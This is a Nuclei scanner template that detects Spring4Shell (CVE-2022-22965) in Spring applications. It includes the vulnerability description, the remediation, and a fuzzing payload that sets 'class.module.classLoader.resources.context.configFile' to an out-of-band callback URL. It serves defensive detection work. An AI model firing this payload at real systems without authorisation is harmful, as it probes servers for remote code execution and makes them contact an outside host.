id: spring4shell-CVE-2022-22965

info:
  name: Spring Framework RCE via Data Binding on JDK 9+
  author: DhiyaneshDK,ritikchaddha
  severity: critical
  description: |
    A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
  impact: |
    Attackers can achieve remote code execution on Spring applications running on JDK 9+ and Tomcat through data binding exploitation, potentially compromising the entire application server.
  remediation: |
    Upgrade Spring Framework to versions 5.3.18, 5.2.20, or later that properly validate class property access during data binding.
  reference:
    - https://spring.io/security/cve-2022-22965
    - https://pentest-tools.com/blog/detect-exploit-spring4shell-cve-2022-22965
    - http://packetstormsecurity.com/files/167011/Spring4Shell-Spring-Framework-Class-Property-Remote-Code-Execution.html
    - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0005
    - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-java-spring-rce-Zx9GUc67
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-22965
    cwe-id: CWE-94
    epss-score: 0.99677
    epss-percentile: 0.99948
    cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: spring_framework
  tags: packetstorm,cve,cve2024,dast,spring,rce,kev,vkev,vuln

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      nix_fuzz:
        - 'class.module.classLoader.resources.context.configFile=http://{{interactsh-url}}'

    fuzzing:
      - part: query
        type: replace # replaces existing parameter value with fuzz payload
        mode: multiple # replaces all parameters value with fuzz payload
        fuzz:
          - '{{nix_fuzz}}'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Java"
        case-insensitive: true
# digest: 4a0a0047304502201c63e812eeb0bcbeb9c858a41f50b8c73f41e06e7c42e98090d6c0835c2230bc02210098925684d40a4ce4ad2f6cdf80e29bf6d10205a063226defc65524e5b399904f:922c64590222798bb761d5b6d8e72950